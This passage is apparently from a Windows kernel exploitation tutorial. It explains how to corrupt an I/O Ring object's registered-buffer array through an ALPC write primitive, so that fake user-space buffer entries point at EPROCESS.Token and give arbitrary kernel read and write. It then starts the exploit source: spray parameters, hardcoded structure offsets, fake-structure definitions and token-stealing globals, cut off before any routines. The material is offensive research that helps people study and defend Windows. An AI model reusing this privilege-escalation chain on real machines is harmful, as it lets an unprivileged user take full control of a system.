- RegBuffers: it contains a pointer to an array of entries, where each entry type is IOP_MC_BUFFER_ENTRY.

Therefore, in normal and legitimate flow we would have:

- IORING_OBJECT.RegBuffers → array of pointers to IOP_MC_BUFFER_ENTRY → each IOP_MC_BUFFER_ENTRY.Address → user-space bufffer

In this exploit, we will subvert this view:

- IORING_OBJECT.RegBuffers (kernel, corrupted via ALPC) → fake array of pointers to IOP_MC_BUFFER_ENTRY structures in user-space (allocated VirtualAlloc) → fake[0] → IOP_MC_BUFFER_ENTRY.Address → kernel address (EPROCESS.Token)

Returning to this topic again, each time that a call BuildIoRingRegisterBuffers function is invoked, the kernel allocates one or more IOP_MC_BUFFER_ENTRY structures in kernel pool (one per buffer) and fills it with validated addresses, locked MDL, and associated metadata. Afterwards, kernel allocates an array of pointers associated with the added entries and stores it into _IORING_OBJECT.RegBuffers and consequently adjusts the RegBufferCount with the appropriate number. As stated previously, I based on this fact to not use BuildIoRingRegisterBuffers function, exactly because I did not want the kernel performed any validation to the address, which should be a user-space address, but actually it is a kernel one.

_IORING_BUFFER_INFO, which has not been commented on yet, works like a user-mode representation used for a single buffer registration, and it is used only once for each buffer registration. In this case, application only provides the buffer and its size, which makes part of _IORING_BUFFER_INFO, and information from this structure is ingested into IO_MC_BUFFER_ENTRY, whose pointer will be stored into IORING_OBJECT. In terms of diagram, we have:

- (user-space) IORING_BUFFER_INFO array → BuildIoRingRegisterBuffers function → SubmitIoRing

- (kernel-space) Validates each IORING_BUFFER_INFO entry → Probes address, locks pages, creates MDL → Creates IOP_MC_BUFFER_ENTRY for each (kernel pool) → IORING_OBJECT.RegBuffers → array of pointers to IOP_MC_BUFFER_ENTRY

At this point, understanding the general I/O Ring exploitation technique is the next step. An explanation is deserved here because the “general exploitation” expression is due to the fact there are multiple paths and forms to combine I/O Ring with other mechanisms to exploit a target, thereby I have chosen to provide the big picture and effectively implement the I/O Ring technique (for writing) in composition with Pipe object in this article, leaving other approaches to next articles.

The objective is to use I/O Ring in an equivalent way to PreviousMode in the prior exploit to try to transform the kernel write primitive into a full kernel read and write primitive. As we have seen previously, the kernel validates buffer addresses when I/O Ring operations take buffer registration path, but this verification is done only at the moment of registration, and it does not happen later then they are used during I/O operation and processing themselves. In normal working, future operations reference such buffer by index, which kernel use them to look up RegBuffers[index], and once they are found, kernel trusts the Address field inside the entry. Therefore, everything works as expected.

However, as there is no revalidation of buffers addresses, if we overwrite RegBuffers (from _IORING_OBJECT) to point to a fake array under our control (in user-space memory) with fake IOP_MC_BUFFER_ENTRY structures specially crafted, we will have a situation where each one of this fake entries will have its Address field pointing to an arbitrary kernel memory instead of the original user-space address. At the end, kernel lookup for _IORING_OBJECT.RegBuffers[index], which has been modified by ALPC, finds a pointer to a fake array of IOP_MC_BUFFER_ENTRY in user-space (allocated by VirtualAlloc), whose first element is a IOP_MC_BUFFER_ENTRY structure, whose Address field points to a chose kernel

address that is EPROCESS.Token, and this address is not revalidated. As expected, this compromises the data flow and provides an attack window in both read and write fronts. Incidentally, commenting on reading and writing depends on the point of view, which could be user-space buffer's view or file's buffer view (kernel). In the I/O Ring context, operations happen from kernel point of view (file), a write operation occurs when the BuildIoRingWriteFile function is called to read data from file and write to a registered buffer pointed by IOP_MC_BUFFER_ENTRY.Address, and a read operation occurs when BuildIoRingReadFile function is called to read data from registered buffer pointed by IOP_MC_BUFFER_ENTRY.Address and write to file. An important note is that when I mention "file", I am referring to a handle to a kernel object, which can be a pipe.

As result, we can obtain an arbitrary kernel read-primitive by setting up a fake buffer Address field with a kernel address we want to read (leak) and use a named pipe (file) to save such a leak. As result, the kernel will be copying the content pointed by the fake Address field into the pipe (via BuildIoRingWriteFile function), which we can read in user-mode using ReadFile then getting the leaked kernel data. To obtain an arbitrary kernel write-primitive we setup the pipe with our payload and also setup the fake buffer Address field with target kernel address where we want to write. As result, the payload is copied (written) from the pipe into the kernel memory address. In the first I/O Ring exploit of this article, I use BuildIoRingReadFile function with a fake IOP_MC_BUFFER_ENTRY.Address = EPROCESS.Token, where the kernel reads from pipe and writes to buffer, but in this case the "buffer" is a kernel address, which results in an arbitrary kernel write primitive. In the next article, I will use the opposite direction, and I will be exploring the usage of BuildIoRingWriteFile function with a fake IOP_MC_BUFFER_ENTRY.Address = kernel_target, where the kernel will read from buffer and write to piple, but the buffer also will point to a kernel address, which will result in an arbitrary kernel read primitive.

After this introduction, a possible general exploit can be drafted, but it is clearly not completely precise yet. The first task is to create an I/O Ring (CreateIoRing function), which will generate an IORING_OBJECT in kernel pool and that maps shared memory (where are stored submission and completion queues) into user space. Obviously, at this point, there are no buffers registered yet. As we will use two named pipes later, it is advisable to create them, which one of them will be used as output pipe because leaked data from kernel will be save here (kernel read primitive) and other one will be used as input for staging our payload that will be write into kernel (kernel write primitive). Additionally, a fake array of pointers to IOP_MC_BUFFER_ENTRY structures is allocated in user-space, where its first element holds a pointer to a specific IOP_MC_BUFFER_ENTRY structure whose Address field points to a kernel address (EPROCESS.Token).

The second task is to find the kernel address of IORING_OBJECT generated because it will be corrupted in the next step. Actually, we will need to write into RegBuffers and RegBuffersCount fields (via ALPC write-primitive), and to accomplish discovering the base address of IORING_OBJECT is critical. Unfortunately, there are further challenges to be overcome due to significant changes in Windows in recent years. In our case, running Windows 11 23H2 and 22H2, we can use NtQuerySystemInformation(SystemHandleInformation) function to enumerate and dump all handles of system, which also includes the kernel virtual address of each object, being one of them the generated IORING_OBJECT. The NtQuerySystemInformation function prototype and its respective return type (_SYSTEM_HANDLE_TABLE_ENTRY_INFO) when passed SystemHandleInformation class as argument are shown below:

```
NTSTATUS NtQuerySystemInformation(
    SYSTEM_INFORMATION_CLASS SystemInformationClass,
    PVOID                    SystemInformation,
    ULONG                    SystemInformationLength,
    PULONG                   ReturnLength
);

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
    USHORT  UniqueProcessId;
    USHORT  CreatorBackTraceIndex;
    UCHAR   ObjectTypeIndex;
    UCHAR   HandleAttributes;
    USHORT  HandleValue;
    PVOID   Object;
    ULONG   GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO;
```

Each of these objects from the system's handle table has a TypeIndex (a numeric value) that is used to filter and lookup the right object and, to find the correct IoRing object type, we need to use NtQueryObject function. Once the TypeIndex is found, one of possibilities to dump all system handles is to use NtQuerySystemInformation, but the result is returned into an array of SYSTEM_HANDLE_TABLE_ENTRY_INFO, with one entry per open handle and, unfortunately, there are too many entries because it includes handles from all processes. Thus, we use our exploit's pid, I/O Ring handle and recently IORing type to find the exact IORING_OBJECT address via entry→ Object field. As IORING_OBJECT.RegBufferCount is at offset 0xB0 and IORING_OBJECT.RegBuffer is at offset 0xB8, getting the exact fields' addresses is direct.

Nonetheless, if we were targeting Windows 24H2 and recent versions, it would not be possible to use NtQuerySystemInformation(SystemHandleInformation) because it is blocked for regular users (medium integrity level). Based on this fact, the key decision was whether I would use or not an API whose blocking action is well-known to conclude the second task or try another approach. I have dedicated to following the NtQuerySystemInformation path and use it to find RegBuffersCount and RegBuffers fields located at offset 0xB0 and 0xB8 respectively because such a technique works on Windows 11 23H2, where is the vulnerability work, but that has been fixed for later versions. Moreover, I wanted to keep focusing on I/O Ring only and not divide attention to anything else. This way, we can reuse the ALPC write primitive to corrupt the both RegBuffersCount and RegBuffers fields from IORING_OBJECT and redirect RegBuffers to a fake user-mode array. In future articles we will have opportunities to manage this restriction in Windows 24H2 and recent versions.

In the third task we use the existing out-of-bound write chain to corrupt IORING_OBJECT.RegBuffers (offset 0xB8) to point to the fake user-mode array created in the first task, and which is under our control. As expected, we cannot only change RegBuffers, but also RegBuffersCount to indicate that there are registered buffers, and this is the core activity of the fourth task, even though it is not just it. Another structure that we need to update is _HIORING handle structure, which is a user-mode handle structure returned by CreateIoRing function, and that holds BufferArraySize and RegBufferArray fields that need to match with respective fields provided by IORING_OBJECT. These fields from _HIORING handle structure are also checked by user-mode functions such as BuildIoRingReadFile and BuildIoRingWriteFile functions before Submission Queue Entry being queued. Therefore, on the kernel side there is the IORING_OBJECT and on the user side there is _HIORING, and both must match to each other. As a supplemental note, you

should notice that while _HIORING structure works as a container and contains a pointer to a list of registered buffers, IORING_BUFFER_INFO structure represents only one of these registered buffers, and both are located in user-space.

The fifth task is to create two named pipes (output pipe and input pipe), which will be used as data channels. As I/O Ring operations need a file handle to read or write to, pipes are great because they are located in memory, bidirectional, does not demand to manage offsets like files, and can be used as an intermediate entity between the user mode and kernel mode. Once again, the output pipe is responsible for carrying data out of kernel (kernel space → output pipe → user space) and input pipe is responsible for carrying data into kernel (user space → input pipe → kernel space). Therefore, there are two handles per pipe (Output Pipe: outputPipe and outputClient | Input Pipe: inputPipe and inputClient), where for Output Pipe the data flow is kernel_addr → BuildIoRingWriteFile(outputClient) → outputPipe → ReadFile(outputPipe) → userBuffer, and for Input Pipe the data flow is payload → WriteFile(inputPipe) → inputClient → BuildIoRingReadFile(inputClient) → kernel_addr. In this version of the exploit, we only use the Input Pipe, and in the next article we will be use the Output Pipe.

In the sixth task we write data to a kernel address by using WriteFile function to write via Input Pipe (inputPipe handle). As explained previously, though we are writing into a kernel address, the procedure is considered a reading operation because the reference is the kernel. Th data flux is payload → pipe → kernel target, where the Address and Length fields from the fake IOP_MC_BUFFER_ENTRY structure are updated between operations.

Although it is not a subject for the current exploit version, the next article will present exploits where we leak information from kernel. One of possible targets for leaking is _EPROCESS structure, and in special fields such as ImageFileName, Token, UniqueProcessID and other ones. Therefore, it is requirement to set the fake IOP_MC_BUFFER_ENTRY.Address with the address of information that we want to read (e.g., ImageFileName) and IOP_MC_BUFFER_ENTRY.Length with the size of this information. A submission queue entry added to Submission Queue using BuildIoRingWriteFile call, and then all submission queue entries are sent to kernel by calling `SubmitIoRing`. The BuildIoRingWriteFile wraps the information via bufferRef argument (IORING_BUFFER_REF bufferRef = IoRingBufferRefFromIndexAndOffset(index, 0);), which actually holds a reference to the index of the register buffer to be used. As the kernel itself looks up RegBuffers in IORING_OBJECT using this index (RegBuffers[index]), we can apply our ALPC write-primitive and change the pointer entry, redirect it to the fake IOP_MC_BUFFER_ENTRY, which contains the kernel target in its Address field. At the end, some bytes are copied from a provided kernel address (fake buffer → Address) into outputClient (Output Pipe). The destination is a controlled user buffer (in user space).

Thus, the scheme that will be used in the next exploit is very similar to the current exploit:

- IORING_OBJECT.RegBuffers (kernel, corrupted via ALPC) → fake array of pointers to IOP_MC_BUFFER_ENTRY in user-space (allocated by VirtualAlloc) → fake[0] → IOP_MC_BUFFER_ENTRY.Address → kernel address (target to read) → BuildIoRingWriteFile: data read FROM this address into pipe

Thus, a key issue to explain is that, as already mentioned, in this current exploit we use I/O Ring only for writing and not for reading. In terms of reading, we use the already established pipe attribute corruption primitive (used in ALPC and Token Stealing exploit versions) for stages 21, 23 and cleanup. This decision

has been done to reuse past concepts and keep concepts as simple as possible. The pipe reading primitive follows:

- kernel address → PipeAttribute.AttributeValue dereference → NtFsControlFile(FSCTL_PIPE_GET_PIPE_ATTRIBUTE) → output buffer (user)

Finally, we need of the seventh task, which performs required cleanup procedures that close I/O Ring handle, zero out RegBuffers from IORING_OBJECT to prevent kernel trying to follow, dereference and free entries from the fake array, which would cause a crash. Interestingly, the cleanup activity uses the write primitive too.

Three helper I/O Ring functions that can be useful to know and also are used during exploit development are:

- IORING_HANDLE_REF IoRingHandleRefFromHandle(HANDLE h): This function creates a raw handle reference for using with BuildIoRing* functions.
- IORING_BUFFER_REF IoRingBufferRefFromIndexAndOffset(UINT32 index, UINT32 offset): this function creates a registered buffer reference (index into RegBuffers array).
- IORING_BUFFER_REF IoRingBufferRefFromPointer(PVOID p): this function creates a raw pointer buffer reference (not from RegBuffers).

Therefore, key facts and the working dynamics of a general exploitation technique using I/O Ring described so far can be shown sequentially and summarized below:

- This exploit improves the ALPC write edition from ERS_06 article because it converts a one-shot arbitrary kernel-write into a full kernel-read-and-write primitive.
- It is necessary to have an arbitrary kernel write primitive, at least.
- We can only use NtQuerySystemInformation on builds before Windows 11 24H2.
- The minimum system is Windows 11 22H2 because we need I/O Ring write support.
- The exploit creates the I/O Ring infrastructure with CreateIoRing function, one or two named pipes (CreateNamedPipe) because it depends on the taken approach (in this article it will be only one named pipe), respective handles (CreateFile), and allocates fake RegBuffers array in user mode (VirtualAlloc).
- The exploit uses NtQuerySystemInformation to enumerate all handles system-wide as well as a composition of PID and handle value to obtain the kernel address of IORING_OBJECT, which will be used to target RegBuffers and RegBuffersCount fields for corruption.
- The exploit corrupts IORING_OBJECT.RegBuffers and IORING_OBJECT.RegBuffersCount using the existing arbitrary write primitive and force the registered buffer lookup initiated by the kernel from legitimate kernel allocated entries being redirected to user-space fake buffer array. As readers may remember, it is a similar strategy adapted in ERS_06 article when we created a fake _KALPC_MESSAGE in user-space.
- To avoid inconsistences, the exploit also changes BufferArraySize and RegBufferArray fields from _HIORING structure to match with respective fields of IORING_OBJECT structure. At the end of this step, both kernel-space and user-space have the same information, and it prevents the index from being rejected by functions such as BuildIoRingWriteFile and BuildIoRingReadFile.
- The fake IOP_MC_BUFFER_ENTRY, used to cache of completed work, it is built for being used as a legitimate registered buffer description, which normally points to a kernel address.

- The connection between the structures mentioned follow:
  - (before corruption) IORING_OBJECT.RegBuffers → array of pointers → each pointer pont to IOP_MC_BUFFER_ENTRY → each IOP_MC_BUFFER_ENTRY.Address → user-space bufffer
  - (after corruption) IORING_OBJECT.RegBuffers (kernel, corrupted via ALPC) → fake array of pointers to IOP_MC_BUFFER_ENTRY structures in user-space (allocated VirtualAlloc) → fake[0] → IOP_MC_BUFFER_ENTRY.Address → kernel address (EPROCESS.Token)

- The key point is that the kernel follows this sequence without further verification (or re-verification).
- Once exploit has obtained access to any kernel address, it is able to write (a read operation from kernel perspective) from user-space to kernel. The complete explanation is not necessary again, and data flux is payload → WriteFile function (into pipe) → BuildIoRingReadFile function (submission queue entry is added to queue) → SubmitIoRing function (submission queue entry is processed) → kernel address changed → PopIoRingCompletion (reads submission queue entry and confirms operation).
- At the same way, once the exploit has obtained access to any kernel address, it is ready to read bytes from there into a user-mode buffer. From the kernel side, it behaves as a write operation because the data flux is kernel memory → output pipe → user-mode buffer. In this scenario, BuildIoRingWriteFile function adds a submission queue entry to the Completion Queue, and all entries (in this case only 1 because only one submission queue entry has been added) are submitted using SubmitIoRing function. As result, the kernel copies data that was pointed by fake IOP_MC_BUFFER_ENTRY.Address (which now it is kernel address) into output pipe. PopIoRingCompletion function is called, reads a single Completion Queue Entry from the Completion Queue and checks what operations have got succeeded. Finally, the information from kernel is retrieved by calling ReadFile function. Author notes: personally, this approach is very elegant, but as I have tried to build and explain this sequence of exploitation techniques aggregating new elements in each exploit version , readers will only see it in action in the next article.
- Based on concepts discussed so far, a good point to highlight is that paths of requests and responses are via Submission Queue and Completion Queue, respectively. However, the path of data read and write operations is basically from user-space buffer to file or file to user-space buffer:
  - I/O Ring write: user-space buffer → WriteFile → pipe (kernel buffer) → I/O Ring → kernel address
  - I/O Ring read: kernel address → I/O Ring → pipe (kernel buffer) → ReadFile → user-space buffer

- At the same way, there are two different of structures that work with data to be processed:
  - (kernel side) IORING_OBJECT.RegBuffers: it points to the array of pointers, where each pointer points to IOP_MC_BUFFER_ENTRY structure.
  - (user side) IOP_MC_BUFFER_ENTRY.Address: it points to the actual data buffer (source or destination).

- The exploit is able to change target address (read or write primitive) without re-corrupting IORING_OBJECT only by updating the fake IOP_MC_BUFFER_ENTRY.Address and IOP_MC_BUFFER_ENTRY.Length values, both controlled by us, attackers.
- At the end, the exploit restores IORING_OBJECT to a safe state before closing the handle.
- In conclusion, this technique removes a series of limitations from previous techniques because the operation size is much larger (0x1000 bytes), the provide a reusable arbitrary write-primitive and it is extremely easy to update the target address.

As I have commented, Windows 11 24H2 restricts kernel address leaks for regular users, which have medium integrity level. Consequently, we cannot rely on our exploitation technique on NtQuerySystemInformation function, but nothing is really lost and there are alternatives to proceed.

It is imperative to highlight that described steps do not reflect our exploit in the next session, but only a general approach using I/O Ring mechanism. All these concepts will be used as foundation from this article and next ones.

08. I/O Ring exploit code (technique 01)

The exploit code follows below:

```
#include <Windows.h>
#include <cfapi.h>
#include <winioctl.h>
#include <ShlObj.h>
#include <stdio.h>
#include <memory>
#include <initguid.h>
#include <guiddef.h>
#include <sddl.h>
#include <ntstatus.h>
#include <ioringapi.h>

#pragma comment(lib, "Cldapi.lib")

DEFINE_GUID(ProviderId,
    0x1b4f2a33, 0xb1b3, 0x40c0,
    0xba, 0x5a, 0x06, 0x34, 0xec, 0x63, 0xde, 0x00);

typedef enum _HSM_CONSTANTS {
    HSM_BITMAP_MAGIC = 0x70527442,
    HSM_FILE_MAGIC = 0x70526546,
    HSM_DATA_HAVE_CRC = 0x02,
    HSM_ELEMENT_TYPE_UINT64 = 0x06,
    HSM_ELEMENT_TYPE_BYTE = 0x07,
    HSM_ELEMENT_TYPE_UINT32 = 0x0A,
    HSM_ELEMENT_TYPE_MAX = 0x10,
    HSM_ELEMENT_TYPE_BITMAP = 0x11,
} HSM_CONSTANTS;

static const USHORT HSM_HEADER_SIZE = 0x14;
```

```
static const USHORT HSM_ELEMENT_INFO_SIZE = 0x08;
static const USHORT BTRP_ALIGN = 0x04;
static const USHORT FERP_ALIGN = 0x08;
static const USHORT ELEMENT_NUMBER = 0x05;
static const USHORT MAX_ELEMS = 0x0A;
static const USHORT VERSION_VALUE = 0x0001;
static const USHORT ELEMENT_START_OFFSET = 0x60;
static const USHORT FERP_BUFFER_SIZE = 0x4000;
static const USHORT BTRP_BUFFER_SIZE = 0x4000;
static const USHORT COMPRESSED_SIZE = 0x4000;
static const USHORT REPARSE_DATA_SIZE = 0x4000;

static const DWORD  DEFRAG_PIPE_COUNT = 5000;
static const DWORD  WNF_PAD_SPRAY_COUNT = 0x5000;
static const DWORD  WNF_SPRAY_COUNT = 0x800;
static const DWORD  WNF_DATA_SIZE = 0xFF0;
static const DWORD  ALPC_PORT_COUNT = 0x800;
static const DWORD  ALPC_RESERVES_PER_PORT = 257;
static const USHORT PAYLOAD_FILL_BYTE = 0xAB;
static const USHORT PAYLOAD_SIZE_OVERFLOW = 0x1010;
static const USHORT PAYLOAD_OFFSET = 0x1000;
static const DWORD  CHANGE_STAMP_FIRST = 0xC0DE;

static const DWORD  WNF_PAD_SPRAY_COUNT_SECOND = 0x2000;
static const DWORD  WNF_SPRAY_COUNT_SECOND = 0x600;
static const DWORD  PIPE_SPRAY_COUNT = 0x600;
static const DWORD  CHANGE_STAMP_SECOND = 0xDEAD;
static const DWORD  PIPE_ATTR_CLAIM_SIZE = 0x200;
static const DWORD  PIPE_ATTR_FILL_SIZE = 0xFD0;

static const DWORD  SLEEP_SHORT = 100;
static const DWORD  SLEEP_NORMAL = 1000;
static const DWORD  SLEEP_LONG = 6000;

static const ULONG EPROCESS_TOKEN_OFFSET = 0x4B8;
static const ULONG EPROCESS_IMAGEFILENAME_OFFSET = 0x5A8;
static const ULONG EPROCESS_UNIQUEPROCESSID_OFFSET = 0x440;
static const ULONG EPROCESS_ACTIVEPROCESSLINKS_OFFSET = 0x448;

static const ULONG FSCTL_PIPE_GET_PIPE_ATTRIBUTE = 0x110038;
static const ULONG FSCTL_PIPE_SET_PIPE_ATTRIBUTE = 0x11003C;

static const ULONG IORING_OBJECT_REGBUFFERSCOUNT_OFFSET = 0xB0;
static const ULONG IORING_OBJECT_REGBUFFERS_OFFSET = 0xB8;

#define ALPC_MSGFLG_NONE 0x0

#pragma pack(push, 1)

typedef struct _HSM_ELEMENT_INFO {
    USHORT Type;
    USHORT Length;
    ULONG  Offset;
} HSM_ELEMENT_INFO, * PHSM_ELEMENT_INFO;

typedef struct _REPARSE_DATA_BUFFER {
```

```
    ULONG  ReparseTag;
    USHORT ReparseDataLength;
    USHORT Reserved;
    struct {
        UCHAR DataBuffer[FERP_BUFFER_SIZE];
    } GenericReparseBuffer;
} REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER;

typedef struct _REPARSE_DATA_BUFFER_EX {
    ULONG     Flags;
    ULONG     ExistingReparseTag;
    GUID      ExistingReparseGuid;
    ULONGLONG Reserved;
    REPARSE_DATA_BUFFER ReparseDataBuffer;
} REPARSE_DATA_BUFFER_EX, * PREPARSE_DATA_BUFFER_EX;

#pragma pack(pop)

typedef struct _PIPE_PAIR {
    HANDLE hRead;
    HANDLE hWrite;
} PIPE_PAIR, * PPIPE_PAIR;

typedef struct _WNF_STATE_NAME {
    ULONG64 Data[2];
} WNF_STATE_NAME, * PWNF_STATE_NAME;

typedef ULONG WNF_CHANGE_STAMP, * PWNF_CHANGE_STAMP;

typedef struct _WNF_TYPE_ID {
    GUID TypeId;
} WNF_TYPE_ID, * PWNF_TYPE_ID;

typedef const WNF_TYPE_ID* PCWNF_TYPE_ID;
typedef const WNF_STATE_NAME* PCWNF_STATE_NAME;

typedef enum _WNF_STATE_NAME_LIFETIME {
    WnfWellKnownStateName = 0,
    WnfPermanentStateName = 1,
    WnfPersistentStateName = 2,
    WnfTemporaryStateName = 3
} WNF_STATE_NAME_LIFETIME;

typedef enum _WNF_DATA_SCOPE {
    WnfDataScopeSystem = 0,
    WnfDataScopeSession = 1,
    WnfDataScopeUser = 2,
    WnfDataScopeProcess = 3,
    WnfDataScopeMachine = 4
} WNF_DATA_SCOPE;

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
```

```
typedef struct _OBJECT_ATTRIBUTES {
    ULONG           Length;
    HANDLE          RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG           Attributes;
    PVOID           SecurityDescriptor;
    PVOID           SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;

typedef struct _CLIENT_ID {
    HANDLE UniqueProcess;
    HANDLE UniqueThread;
} CLIENT_ID, * PCLIENT_ID;

typedef struct _ALPC_PORT_ATTRIBUTES {
    ULONG                       Flags;
    SECURITY_QUALITY_OF_SERVICE SecurityQos;
    SIZE_T                      MaxMessageLength;
    SIZE_T                      MemoryBandwidth;
    SIZE_T                      MaxPoolUsage;
    SIZE_T                      MaxSectionSize;
    SIZE_T                      MaxViewSize;
    SIZE_T                      MaxTotalSectionSize;
    ULONG                       DupObjectTypes;
    ULONG                       Reserved;
} ALPC_PORT_ATTRIBUTES, * PALPC_PORT_ATTRIBUTES;

#pragma pack(push, 1)

typedef struct _KALPC_RESERVE {
    PVOID OwnerPort;
    PVOID HandleTable;
    PVOID Handle;
    PVOID Message;
    ULONGLONG Size;
    LONG Active;
    ULONG Padding;
} KALPC_RESERVE, * PKALPC_RESERVE;

typedef struct _KALPC_MESSAGE {
    BYTE Reserved0[0x60];
    PVOID Reserve;
    BYTE Reserved1[0x78];
    PVOID ExtensionBuffer;
    ULONGLONG ExtensionBufferSize;
    BYTE Reserved2[0x28];
} KALPC_MESSAGE, * PKALPC_MESSAGE;

#pragma pack(pop)

typedef struct _PORT_MESSAGE {
    union {
        struct {
            USHORT DataLength;
            USHORT TotalLength;
```

```
        } s1;
        ULONG Length;
    } u1;
    union {
        struct {
            USHORT Type;
            USHORT DataInfoOffset;
        } s2;
        ULONG ZeroInit;
    } u2;
    union {
        CLIENT_ID ClientId;
        double DoNotUseThisField;
    };
    ULONG MessageId;
    union {
        SIZE_T ClientViewSize;
        ULONG CallbackId;
    };
} PORT_MESSAGE, * PPORT_MESSAGE;

typedef struct _ALPC_MESSAGE {
    PORT_MESSAGE PortHeader;
    BYTE Data[0x100];
} ALPC_MESSAGE, * PALPC_MESSAGE;

typedef struct _IO_STATUS_BLOCK {
    union {
        NTSTATUS Status;
        PVOID    Pointer;
    };
    ULONG_PTR Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX {
    PVOID       Object;
    ULONG_PTR   UniqueProcessId;
    ULONG_PTR   HandleValue;
    ULONG       GrantedAccess;
    USHORT      CreatorBackTraceIndex;
    USHORT      ObjectTypeIndex;
    ULONG       HandleAttributes;
    ULONG       Reserved;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX;

typedef struct _SYSTEM_HANDLE_INFORMATION_EX {
    ULONG_PTR   NumberOfHandles;
    ULONG_PTR   Reserved;
    SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[1];
} SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX;


typedef struct _IOP_MC_BUFFER_ENTRY {
    USHORT    Type;
    USHORT    Reserved1;
    ULONG     Size;
```

```
    ULONG     ReferenceCount;
    ULONG     Flags;
    ULONG64   Flink;
    ULONG64   Blink;
    PVOID     Address;
    ULONG     Length;
    CHAR      AccessMode;
    CHAR      Pad2D[3];
    LONG      MdlRef;
    ULONG     Pad34;
    PVOID     Mdl;
    BYTE      MdlRundownEvent[0x18];
    PVOID     PfnArray;
    BYTE      PageNodes[0x20];
} IOP_MC_BUFFER_ENTRY, * PIOP_MC_BUFFER_ENTRY;

static const ULONG HIORING_OFFSET_KERNEL_HANDLE = 0x00;
static const ULONG HIORING_OFFSET_REG_BUFFER_ARRAY = 0x40;
static const ULONG HIORING_OFFSET_BUFFER_ARRAY_SIZE = 0x48;

typedef NTSTATUS(NTAPI* PNtCreateWnfStateName)(PWNF_STATE_NAME,
WNF_STATE_NAME_LIFETIME, WNF_DATA_SCOPE, BOOLEAN, PCWNF_TYPE_ID, ULONG,
PSECURITY_DESCRIPTOR);
typedef NTSTATUS(NTAPI* PNtUpdateWnfStateData)(PCWNF_STATE_NAME, PVOID, ULONG,
PCWNF_TYPE_ID, PVOID, WNF_CHANGE_STAMP, ULONG);
typedef NTSTATUS(NTAPI* PNtQueryWnfStateData)(PCWNF_STATE_NAME, PCWNF_TYPE_ID, PVOID,
PWNF_CHANGE_STAMP, PVOID, PULONG);
typedef NTSTATUS(NTAPI* PNtDeleteWnfStateName)(PCWNF_STATE_NAME);
typedef NTSTATUS(NTAPI* PNtAlpcCreatePort)(PHANDLE, POBJECT_ATTRIBUTES,
PALPC_PORT_ATTRIBUTES);
typedef NTSTATUS(NTAPI* PNtAlpcCreateResourceReserve)(HANDLE, ULONG, SIZE_T, PHANDLE);
typedef NTSTATUS(NTAPI* PNtFsControlFile)(HANDLE, HANDLE, PVOID, PVOID,
PIO_STATUS_BLOCK, ULONG, PVOID, ULONG, PVOID, ULONG);
typedef NTSTATUS(NTAPI* PNtAlpcSendWaitReceivePort)(HANDLE, ULONG, PPORT_MESSAGE,
PVOID, PPORT_MESSAGE, PSIZE_T, PVOID, PLARGE_INTEGER);
typedef NTSTATUS(NTAPI* PNtOpenProcess)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES,
PCLIENT_ID);
typedef NTSTATUS(NTAPI* PRtlGetCompressionWorkSpaceSize)(USHORT, PULONG, PULONG);
typedef NTSTATUS(NTAPI* PRtlCompressBuffer)(USHORT, PUCHAR, ULONG, PUCHAR, ULONG,
ULONG, PULONG, PVOID);
typedef NTSTATUS(NTAPI* PNtQuerySystemInformation)(ULONG, PVOID, ULONG, PULONG);
typedef NTSTATUS(NTAPI* PNtQueryObject)(HANDLE, ULONG, PVOID, ULONG, PULONG);

static PNtCreateWnfStateName        g_NtCreateWnfStateName = NULL;
static PNtUpdateWnfStateData        g_NtUpdateWnfStateData = NULL;
static PNtQueryWnfStateData         g_NtQueryWnfStateData = NULL;
static PNtDeleteWnfStateName        g_NtDeleteWnfStateName = NULL;
static PNtAlpcCreatePort            g_NtAlpcCreatePort = NULL;
static PNtAlpcCreateResourceReserve g_NtAlpcCreateResourceReserve = NULL;
static PNtFsControlFile             g_NtFsControlFile = NULL;
static PNtAlpcSendWaitReceivePort   g_NtAlpcSendWaitReceivePort = NULL;
static PNtOpenProcess               g_NtOpenProcess = NULL;
static PNtQuerySystemInformation    g_NtQuerySystemInformation = NULL;
static PNtQueryObject               g_NtQueryObject = NULL;

static std::unique_ptr<WNF_STATE_NAME[]> g_wnf_pad_names;
```

```
static std::unique_ptr<WNF_STATE_NAME[]> g_wnf_names;
static std::unique_ptr<BOOL[]>           g_wnf_active;
static std::unique_ptr<HANDLE[]>         g_alpc_ports;
static int    g_victim_index = -1;
static PVOID  g_leaked_kalpc = NULL;
static HANDLE g_saved_reserve_handle = NULL;

static DECLSPEC_ALIGN(16) BYTE g_fake_pipe_attr[0x1000];
static DECLSPEC_ALIGN(16) BYTE g_fake_pipe_attr2[0x1000];
static char g_fake_attr_name[] = "hackedfakepipe";
static char g_fake_attr_name2[] = "alexandre";
static int g_target_pipe_index = -1;

static std::unique_ptr<WNF_STATE_NAME[]> g_wnf_pad_names_second;
static std::unique_ptr<WNF_STATE_NAME[]> g_wnf_names_second;
static std::unique_ptr<BOOL[]>           g_wnf_active_second;
static std::unique_ptr<HANDLE[]>         g_pipe_read;
static std::unique_ptr<HANDLE[]>         g_pipe_write;
static int   g_victim_index_second = -1;
static PVOID g_leaked_pipe_attr = NULL;

static ULONG64 g_alpc_port_addr = 0;
static ULONG64 g_alpc_handle_table_addr = 0;
static ULONG64 g_alpc_message_addr = 0;
static ULONG64 g_eprocess_addr = 0;
static ULONG64 g_system_eprocess = 0;
static ULONG64 g_our_eprocess = 0;
static ULONG64 g_system_token = 0;
static ULONG64 g_system_token_raw = 0;
static ULONG64 g_our_token = 0;
static ULONG g_winlogon_pid = 0;

static HIORING              g_ioring_handle = NULL;
static ULONG64              g_ioring_object_addr = 0;
static HANDLE               g_input_pipe_server = NULL;
static HANDLE               g_input_pipe_client = NULL;
